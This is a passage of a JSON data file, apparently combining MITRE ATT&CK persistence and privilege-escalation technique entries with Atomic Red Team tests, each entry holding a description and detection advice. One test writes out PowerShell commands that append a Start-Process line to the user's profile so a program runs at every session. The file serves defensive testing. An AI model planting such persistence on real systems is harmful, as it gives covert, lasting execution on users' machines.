- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1067": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:54.661Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1067",
- "url": "https://attack.mitre.org/techniques/T1067"
- },
- {
- "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf",
- "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.",
- "source_name": "MTrends 2016"
- },
- {
- "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
- "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
- "source_name": "Lau 2011"
- }
- ],
- "modified": "2020-03-20T19:53:25.628Z",
- "name": "Bootkit",
- "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1037": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:38.910Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037",
- "url": "https://attack.mitre.org/techniques/T1037"
- },
- {
- "external_id": "CAPEC-564",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/564.html"
- }
- ],
- "modified": "2022-04-01T19:04:02.610Z",
- "name": "Boot or Logon Initialization Scripts",
- "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Creation",
- "Process: Process Creation",
- "Active Directory: Active Directory Object Modification",
- "File: File Modification",
- "Command: Command Execution",
- "File: File Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1161": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1161",
- "url": "https://attack.mitre.org/techniques/T1161"
- },
- {
- "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
- "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
- "source_name": "Writing Bad Malware for OSX"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
- "source_name": "Malware Persistence on OS X"
- }
- ],
- "modified": "2021-03-30T00:51:58.008Z",
- "name": "LC_LOAD_DYLIB Addition",
- "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1150": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
- "created": "2017-12-14T16:46:06.044Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1150",
- "url": "https://attack.mitre.org/techniques/T1150"
- },
- {
- "source_name": "Sofacy Komplex Trojan",
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": true,
- "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences
(which execute with elevated privileges) and ~/Library/Preferences
(which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)",
- "modified": "2022-04-22T18:49:20.520Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Plist Modification",
- "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Process whitelisting",
- "Whitelisting by file name or path"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1556.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Scott Knight, @sdotknight, VMware Carbon Black",
- "George Allen, VMware Carbon Black"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771",
- "type": "attack-pattern",
- "created": "2020-06-26T04:01:09.648Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.003",
- "url": "https://attack.mitre.org/techniques/T1556/003"
- },
- {
- "source_name": "Apple PAM",
- "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt",
- "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020."
- },
- {
- "source_name": "Man Pam_Unix",
- "url": "https://linux.die.net/man/8/pam_unix",
- "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020."
- },
- {
- "source_name": "Red Hat PAM",
- "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules",
- "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020."
- },
- {
- "source_name": "PAM Backdoor",
- "url": "https://github.com/zephrax/linux-pam-backdoor",
- "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020."
- },
- {
- "source_name": "PAM Creds",
- "url": "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/",
- "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020."
- }
- ],
- "modified": "2021-10-17T14:48:33.580Z",
- "name": "Modify Authentication Process: Pluggable Authentication Modules",
- "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so
, which retrieves, sets, and verifies account authentication information in /etc/passwd
and /etc/shadow
.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so
, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor PAM configuration and module paths (ex: /etc/pam.d/
) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "root"
- ],
- "identifier": "T1556.003"
- },
- "atomic_tests": []
- },
- "T1574.007": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32",
- "created": "2020-03-13T14:10:43.424Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.007",
- "url": "https://attack.mitre.org/techniques/T1574/007"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/13.html",
- "source_name": "capec",
- "external_id": "CAPEC-13"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/38.html",
- "source_name": "capec",
- "external_id": "CAPEC-38"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32
(e.g., C:\\Windows\\system32
), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path
precedes
C:\\Windows\\system32
is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path
will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.",
- "modified": "2022-05-05T04:08:56.402Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Path Interception by PATH Environment Variable",
- "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1044": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:43.063Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1044",
- "url": "https://attack.mitre.org/techniques/T1044"
- },
- {
- "external_id": "CAPEC-17",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/17.html"
- },
- {
- "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
- "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
- "source_name": "Mozilla Firefox Installer DLL Hijack"
- },
- {
- "url": "http://seclists.org/fulldisclosure/2015/Dec/34",
- "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
- "source_name": "Seclists Kanthak 7zip Installer"
- }
- ],
- "modified": "2020-03-19T15:11:39.627Z",
- "name": "File System Permissions Weakness",
- "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP%
directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM",
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1546.013": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Green",
- "Allen DeRyke, ICE"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
- "type": "attack-pattern",
- "created": "2020-01-24T15:11:02.758Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.013",
- "url": "https://attack.mitre.org/techniques/T1546/013"
- },
- {
- "source_name": "Microsoft About Profiles",
- "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6",
- "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019."
- },
- {
- "source_name": "ESET Turla PowerShell May 2019",
- "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
- "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."
- },
- {
- "source_name": "Wits End and Shady PowerShell Profiles",
- "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html",
- "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019."
- },
- {
- "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
- "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
- "source_name": "Malware Archaeology PowerShell Cheat Sheet"
- },
- {
- "source_name": "Microsoft Profiles",
- "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles",
- "description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022."
- }
- ],
- "modified": "2022-02-08T16:39:08.851Z",
- "name": "Event Triggered Execution: PowerShell Profile",
- "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1
) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile
flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Locations where profile.ps1
can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\n\n* $PsHome\\Profile.ps1
\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1
\n* $Home\\\\\\[My ]Documents\\PowerShell\\Profile.ps1
\n* $Home\\\\\\[My ]Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1
\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Process: Process Creation",
- "File: File Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1546.013"
- },
- "atomic_tests": [
- {
- "name": "Append malicious start-process cmdlet",
- "auto_generated_guid": "090e5aa5-32b6-473b-a49b-21e843a56896",
- "description": "Appends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "exe_path": {
- "description": "Path the malicious executable",
- "type": "path",
- "default": "calc.exe"
- },
- "ps_profile": {
- "description": "Powershell profile to use",
- "type": "string",
- "default": "$profile"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Ensure a powershell profile exists for the current user\n",
- "prereq_command": "if (Test-Path #{ps_profile}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Path #{ps_profile} -Type File -Force\n"
- }
- ],
- "executor": {
- "command": "Add-Content #{ps_profile} -Value \"\"\nAdd-Content #{ps_profile} -Value \"Start-Process #{exe_path}\"\npowershell -Command exit\n",
- "cleanup_command": "$oldprofile = cat $profile | Select-Object -skiplast 1\nSet-Content $profile -Value $oldprofile\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1501": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tony Lambert, Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e",
- "type": "attack-pattern",
- "created": "2019-04-23T15:34:30.008Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1501",
- "url": "https://attack.mitre.org/techniques/T1501"
- },
- {
- "source_name": "Linux man-pages: systemd January 2014",
- "url": "http://man7.org/linux/man-pages/man1/systemd.1.html",
- "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."
- },
- {
- "source_name": "Freedesktop.org Linux systemd 29SEP2018",
- "url": "https://www.freedesktop.org/wiki/Software/systemd/",
- "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019."
- },
- {
- "source_name": "Anomali Rocke March 2019",
- "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang",
- "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."
- },
- {
- "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
- "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a",
- "source_name": "gist Arch package compromise 10JUL2018"
- },
- {
- "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
- "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/",
- "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018"
- },
- {
- "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
- "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html",
- "source_name": "acroread package compromised Arch Linux Mail 8JUL2018"
- },
- {
- "source_name": "Rapid7 Service Persistence 22JUNE2016",
- "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence",
- "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019."
- }
- ],
- "modified": "2020-01-17T16:51:52.027Z",
- "name": "Systemd Service",
- "description": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system
and /usr/lib/systemd/system
directories and have the file extension .service
. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system
and /usr/lib/systemd/system
directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/
